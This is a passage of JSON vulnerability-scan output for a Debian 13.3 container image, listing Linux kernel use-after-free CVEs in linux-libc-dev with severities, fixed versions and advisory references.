"https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-63967" ], "PublishedDate": "2026-07-19T16:17:15.7Z", "LastModifiedDate": "2026-10-30T17:25:05.78Z" }, { "VulnerabilityID": "CVE-2026-63970", "VendorIDs": [ "DSA-6405-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63970", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d785bc5f296e132746e336167c0b214d92e5c4662473902b9a10a4bac6802b09", "Title": "kernel: vsock/virtio: bind uarg before filling zerocopy skb", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nvsock/virtio: bind uarg before filling zerocopy skb\n\nvirtio_transport_send_pkt_info() allocates or reuses the zerocopy uarg\nbefore entering the send loop, but virtio_transport_alloc_skb() still\nfills the skb before it inherits that uarg. When fixed-buffer vectored\nzerocopy hits MAX_SKB_FRAGS, io_sg_from_iter() may partially attach\nmanaged frags and return -EMSGSIZE. The rollback path call kfree_skb()\nto free an skb that carries SKBFL_MANAGED_FRAG_REFS but no uarg, so\nskb_release_data() falls through to ordinary frag unref.\n\nPass the uarg into virtio_transport_alloc_skb() and bind it immediately\nbefore virtio_transport_fill_skb(). This keeps control or no-payload skbs\nuntouched while ensuring success and rollback share one lifetime rule.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-401" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63970", "https://access.redhat.com/errata/RHSA-2026:77689", "https://access.redhat.com/security/cve/CVE-2026-63970", "https://bugzilla.redhat.com/2436771", "https://bugzilla.redhat.com/2497032", "https://bugzilla.redhat.com/2499742", "https://bugzilla.redhat.com/2502222", "https://bugzilla.redhat.com/2502411", "https://bugzilla.redhat.com/2502476", "https://bugzilla.redhat.com/2502521", "https://bugzilla.redhat.com/2502593", "https://bugzilla.redhat.com/2516705", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2532103", "https://bugzilla.redhat.com/2532111", "https://bugzilla.redhat.com/2532218", "https://bugzilla.redhat.com/2532231", "https://bugzilla.redhat.com/show_bug.cgi?id=2436771", "https://bugzilla.redhat.com/show_bug.cgi?id=2497032", "https://bugzilla.redhat.com/show_bug.cgi?id=2499742", "https://bugzilla.redhat.com/show_bug.cgi?id=2502222", "https://bugzilla.redhat.com/show_bug.cgi?id=2502411", "https://bugzilla.redhat.com/show_bug.cgi?id=2502476", "https://bugzilla.redhat.com/show_bug.cgi?id=2502521", "https://bugzilla.redhat.com/show_bug.cgi?id=2502593", "https://bugzilla.redhat.com/show_bug.cgi?id=2516705", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2532103", "https://bugzilla.redhat.com/show_bug.cgi?id=2532111", "https://bugzilla.redhat.com/show_bug.cgi?id=2532218", "https://bugzilla.redhat.com/show_bug.cgi?id=2532231", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23103", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53360", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53365", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64035", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64115", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72317", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89690", "https://errata.almalinux.org/9/ALSA-2026-77689.html", "https://errata.rockylinux.org/RLSA-2026:77689", "https://git.kernel.org/linus/1e584c304cfb94a759417130b1fc6d30b30c4cce%20%287.1-rc6%29", "https://git.kernel.org/stable/c/1e584c304cfb94a759417130b1fc6d30b30c4cce", "https://git.kernel.org/stable/c/5d317573f1d48e76cce5fb6250452b6e4102e0fb", "https://git.kernel.org/stable/c/72194f65050958e4c8e069adb6c5d89ef81ca197", "https://git.kernel.org/stable/c/b62e2b2b4a50953ca952f3cd3f77dd62dc50fd5d", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/8.0.0/BRSA-x3bcghydl8tf.toml", "https://linux.oracle.com/cve/CVE-2026-63970.html", "https://linux.oracle.com/errata/ELSA-2026-77690.html", "https://lore.kernel.org/linux-cve-announce/2026071959-CVE-2026-63970-1142@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63970", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-63970" ], "PublishedDate": "2026-07-19T16:17:16.063Z", "LastModifiedDate": "2026-10-19T21:17:14.5Z" }, { "VulnerabilityID": "CVE-2026-63993", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63993", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1f2a776a5dcc5efdd14edeb1a3787f39fa62515356657d002a8232c25a92501c", "Title": "kernel: vxlan: do not reuse cached ip_hdr() value after skb_tunnel_check_pmtu()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nvxlan: do not reuse cached ip_hdr() value after skb_tunnel_check_pmtu()\n\nskb_tunnel_check_pmtu() can change skb-\u003ehead.\n\nReusing old_iph afer skb_tunnel_check_pmtu() can cause an UAF.\n\nUse instead ip_hdr(skb) as done in drivers/net/bareudp.c\nand drivers/net/geneve.c.\n\nFound by Sashiko.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:64775", "https://access.redhat.com/security/cve/CVE-2026-63993", "https://bugzilla.redhat.com/show_bug.cgi?id=2370992", "https://bugzilla.redhat.com/show_bug.cgi?id=2454807", "https://bugzilla.redhat.com/show_bug.cgi?id=2460736", "https://bugzilla.redhat.com/show_bug.cgi?id=2468102", "https://bugzilla.redhat.com/show_bug.cgi?id=2481936", "https://bugzilla.redhat.com/show_bug.cgi?id=2484456", "https://bugzilla.redhat.com/show_bug.cgi?id=2486463", "https://bugzilla.redhat.com/show_bug.cgi?id=2492097", "https://bugzilla.redhat.com/show_bug.cgi?id=2492295", "https://bugzilla.redhat.com/show_bug.cgi?id=2492725", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492745", "https://bugzilla.redhat.com/show_bug.cgi?id=2492811", "https://bugzilla.redhat.com/show_bug.cgi?id=2492841", "https://bugzilla.redhat.com/show_bug.cgi?id=2492850", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502369", "https://bugzilla.redhat.com/show_bug.cgi?id=2507041", "https://bugzilla.redhat.com/show_bug.cgi?id=2507096", "https://bugzilla.redhat.com/show_bug.cgi?id=2507129", "https://bugzilla.redhat.com/show_bug.cgi?id=2510892", "https://bugzilla.redhat.com/show_bug.cgi?id=2511932", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38004", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23442", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31503", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43339", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46306", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52933", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53075", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53223", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53235", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53275", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53277", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63993", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64265", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64287", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64563", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64597", "https://errata.rockylinux.org/RLSA-2026:64775", "https://git.kernel.org/linus/7d9ef0cb271555d8cf39fefe6c981e1493b25ecf%20%287.1-rc6%29", "https://git.kernel.org/stable/c/5303925e360527243b46a440a04667826bbc72b7", "https://git.kernel.org/stable/c/609e63312c29aad18026a1d3222e123d4b6b0feb", "https://git.kernel.org/stable/c/6b8bfce9d2f774d2c2243e0248e03efb99bba6c0", "https://git.kernel.org/stable/c/7d9ef0cb271555d8cf39fefe6c981e1493b25ecf", "https://git.kernel.org/stable/c/8d435d68d71fb875876b722f4136caf74f2f48bd", "https://git.kernel.org/stable/c/9257f56ac47ef1976bcd056cf986a9988eeec67a", "https://git.kernel.org/stable/c/a493efd4336cf19122ae0e4cbb3d31b32d70deea", "https://git.kernel.org/stable/c/dc3bfa050f873371e745bdf478b1f5b738e5733d", "https://linux.oracle.com/cve/CVE-2026-63993.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://lore.kernel.org/linux-cve-announce/2026071905-CVE-2026-63993-165e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63993", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8817-1", "https://ubuntu.com/security/notices/USN-8817-2", "https://ubuntu.com/security/notices/USN-8817-3", "https://ubuntu.com/security/notices/USN-8818-1", "https://ubuntu.com/security/notices/USN-8818-2", "https://ubuntu.com/security/notices/USN-8818-3", "https://ubuntu.com/security/notices/USN-8818-4", "https://ubuntu.com/security/notices/USN-8818-5", "https://ubuntu.com/security/notices/USN-8818-6", "https://ubuntu.com/security/notices/USN-8842-1", "https://ubuntu.com/security/notices/USN-8849-1", "https://ubuntu.com/security/notices/USN-8871-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-63993" ], "PublishedDate": "2026-07-19T16:17:38.823Z", "LastModifiedDate": "2026-10-19T21:17:17.16Z" }, { "VulnerabilityID": "CVE-2026-63994", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63994", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:620e9c4f111a52795cd82b632878885a5540588fe24087467fbb393cab1e1239", "Title": "kernel: tunnels: load network headers after skb_cow() in iptunnel_pmtud_build_icmp[v6]()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntunnels: load network headers after skb_cow() in iptunnel_pmtud_build_icmp[v6]()\n\nSashiko found that iptunnel_pmtud_build_icmp() and\niptunnel_pmtud_build_icmpv6() were caching ip_hdr() and ipv6_hdr()\nbefore an skb_cow() call which can reallocate skb-\u003ehead.\n\nFix this possible UAF by initializing the local variables\nafter the skb_cow() call.\n\nRemove skb_reset_network_header() calls which were not needed.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-63994", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/linus/b4bc94353050b1fa7b702bd4c6600710dd926cff%20%287.1-rc6%29", "https://git.kernel.org/stable/c/50750d86a2e5266aba0c295483b3397843198b11", "https://git.kernel.org/stable/c/6dff77899b9e9fe5d854abda3a98ad04e7229ef7", "https://git.kernel.org/stable/c/7254aef4d1a7e18e887af9010e2f2dc34806789b", "https://git.kernel.org/stable/c/76cd9398a0470257ab765bdf5f358a2af2e17934", "https://git.kernel.org/stable/c/95b6d772bfe788331d9742d73eaa12e113b2adc4", "https://git.kernel.org/stable/c/b4bc94353050b1fa7b702bd4c6600710dd926cff", "https://git.kernel.org/stable/c/bf8b3f34c37c162357138e7c0942723b8b94fed1", "https://git.kernel.org/stable/c/f3f204541f280a6ecb04503a0d6794d93990ca43", "https://linux.oracle.com/cve/CVE-2026-63994.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://lore.kernel.org/linux-cve-announce/2026071905-CVE-2026-63994-97bf@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63994", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8817-1", "https://ubuntu.com/security/notices/USN-8817-2", "https://ubuntu.com/security/notices/USN-8817-3", "https://ubuntu.com/security/notices/USN-8818-1", "https://ubuntu.com/security/notices/USN-8818-2", "https://ubuntu.com/security/notices/USN-8818-3", "https://ubuntu.com/security/notices/USN-8818-4", "https://ubuntu.com/security/notices/USN-8818-5", "https://ubuntu.com/security/notices/USN-8818-6", "https://ubuntu.com/security/notices/USN-8842-1", "https://ubuntu.com/security/notices/USN-8849-1", "https://ubuntu.com/security/notices/USN-8871-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-63994" ], "PublishedDate": "2026-07-19T16:17:38.943Z", "LastModifiedDate": "2026-10-19T21:17:17.343Z" }, { "VulnerabilityID": "CVE-2026-64001", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64001", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6973150c68bb1b900a42d3758dd7f03324a0e537cd78d93a9d125d3f91740200", "Title": "kernel: ALSA: pcm: oss: Fix setup list UAF on proc write error", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: pcm: oss: Fix setup list UAF on proc write error\n\nsnd_pcm_oss_proc_write() links a newly allocated setup entry into the\nOSS setup list before duplicating the task name. If the task-name\nallocation fails, the error path frees the already linked entry and\nleaves setup_list pointing at freed memory.\n\nA later OSS device open can then walk the stale list entry in\nsnd_pcm_oss_look_for_setup() and dereference freed memory.\n\nAllocate the task name and initialize the setup entry before publishing\nthe entry on setup_list. Also fetch the initial proc read iterator only\nafter taking setup_mutex, so all setup_list traversal follows the same\nlist lifetime rules.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64001", "https://git.kernel.org/linus/4cc54bdd54b337e77115be5b55577d1c58608eae%20%287.1-rc6%29", "https://git.kernel.org/stable/c/4cc54bdd54b337e77115be5b55577d1c58608eae", "https://git.kernel.org/stable/c/8be4efd0dc0093eb7a02ad1aac936bca2a1f04ce", "https://git.kernel.org/stable/c/be387230dc22d870afd0e5d35912b07c2bc323bd", "https://git.kernel.org/stable/c/d9df965284abde27ba6bfbdfc8407697cf6802f1", "https://git.kernel.org/stable/c/e13922bb97b4e6f94f8ac02d034f2d4bd65eeb3c", "https://lore.kernel.org/linux-cve-announce/2026071906-CVE-2026-64001-48e3@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64001", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64001" ], "PublishedDate": "2026-07-19T16:17:39.7Z", "LastModifiedDate": "2026-10-21T13:19:19.113Z" }, { "VulnerabilityID": "CVE-2026-64002", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64002", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f199fb71a284a9c79e9ee5e59074e594f6b86716c7e0b94bb5510bfa188482b1", "Title": "kernel: ipv4: free net-\u003eipv4.sysctl_local_reserved_ports after unregister_net_sysctl_table()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv4: free net-\u003eipv4.sysctl_local_reserved_ports after unregister_net_sysctl_table()\n\nipv4_sysctl_exit_net() is currently freeing net-\u003eipv4.sysctl_local_reserved_ports\ntoo soon.\n\nOnly after unregister_net_sysctl_table() we can be sure no threads can possibly\nuse the sysctls, including /proc/sys/net/ipv4/ip_local_reserved_ports.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63129", "https://access.redhat.com/security/cve/CVE-2026-64002", "https://bugzilla.redhat.com/2406747", "https://bugzilla.redhat.com/2432366", "https://bugzilla.redhat.com/2482006", "https://bugzilla.redhat.com/2482558", "https://bugzilla.redhat.com/2492447", "https://bugzilla.redhat.com/2502219", "https://bugzilla.redhat.com/2502227", "https://bugzilla.redhat.com/2502235", "https://bugzilla.redhat.com/2502239", "https://bugzilla.redhat.com/2502240", 